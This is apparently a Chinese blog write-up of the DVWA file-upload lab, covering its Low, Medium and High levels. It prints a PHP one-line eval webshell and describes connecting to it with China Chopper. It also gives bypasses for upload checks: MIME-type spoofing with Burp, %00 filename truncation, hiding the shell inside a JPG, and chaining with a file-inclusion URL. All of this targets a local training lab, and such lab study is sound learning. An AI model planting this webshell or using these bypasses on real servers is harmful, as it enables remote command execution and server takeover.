DVWA——文件上传

DVWA——文件上传漏洞File Upload

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

 LOW

服务器端核心代码如下:

DVWA——文件上传

PHP basename() 函数

basename() 函数返回路径中的文件名部分。

语法:basename(path,suffix)

 

参数 描述
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有名有文件扩展名,将不会显示这个扩展名。

 漏洞利用

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。不幸的是,这里三个条件全都满足。

上传文件hack.php(一句话木马)

<?php @eval($_POST['hacker']); ?> 

上传成功并返回了上传路径

DVWA——文件上传

打开中国菜刀,右键添加,

地址栏填入上传文件所在路径http://192.168.31.139/dvwa/hackable/uploads/hack.php

参数名(一句话木马口令)为hacker

DVWA——文件上传

然后菜刀就会通过向服务器发送包含hacker参数的post请求,在服务器上执行任意命令,获取webshell权限。

可以下载、修改服务器的所有文件。

DVWA——文件上传

 

打开虚拟终端执行命令

DVWA——文件上传

 

 Medium

 服务器端代码:

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) 

 

 Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)

漏洞利用

1 文件包含+文件上传

修改一句话木马文件后缀为.png 文件上传成功

DVWA——文件上传

 

但是发现并不能通过菜刀连接从而获得webshell权限

 

 DVWA——文件上传

 

 

 注意:这里菜刀需要清除缓存

中国菜刀的原理是向上传文件发送包含hacker参数的post请求,通过控制hacker参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

那么如何让服务器将其解析为php文件呢?我们想到文件包含漏洞。这里可以借助Medium级别的文件包含漏洞来获取webshell权限,打开中国菜刀,右键添加,在地址栏中输入

http://192.168.31.139/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.31.139/dvwa/hackable/uploads/hack.png

参数名为hacker,脚本语言选择php。

=================额,好吧!理论上是可行的,但是我不知道哪里出了问题。再讲第二种方法

2 burp抓包修改文件类型

DVWA——文件上传

 

 

 反复试了几次都没成功,发现原因在于浏览器的cookie信息中保存DVWA的安全等级,没有变过来。直接将security=impossible改为medium即可

DVWA——文件上传

 

 

 菜刀连接获得webshell权限!!!

 3 %00截断绕过

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。

DVWA——文件上传

 

DVWA——文件上传

 

 

可以看到,包中的文件类型为image/png,可以通过文件类型检查。

DVWA——文件上传

 

 

上传成功

DVWA——文件上传

High

服务器端代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

 

strtolower() 函数把字符串转换为小写。

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

语法格式:

array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

漏洞利用

采用%00截断的方法可以轻松绕过文件名的检查,但是需要将上传文件的文件头伪装成图片,由于实验环境的php版本原因,这里只演示如何借助High级别的文件包含漏洞来完成攻击。

首先利用copy将一句话木马文件hack.php与图片文件1.jpg合并

 DVWA——文件上传

DVWA——文件上传

打开hack.php 一句话木马藏在了最后

DVWA——文件上传

 

 顺利通过文件头检查,可以成功上传。

DVWA——文件上传

 

上菜刀,右键添加shell,地址栏填入(利用了文件包含漏洞)

http://192.168.31.139/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/hack.jpg

DVWA——文件上传

 

拿不到webshell。。。

DVWA——文件上传

 

上一篇:谷粒商城--平台属性模块--笔记八


下一篇:记录一个可以运行的nsi脚本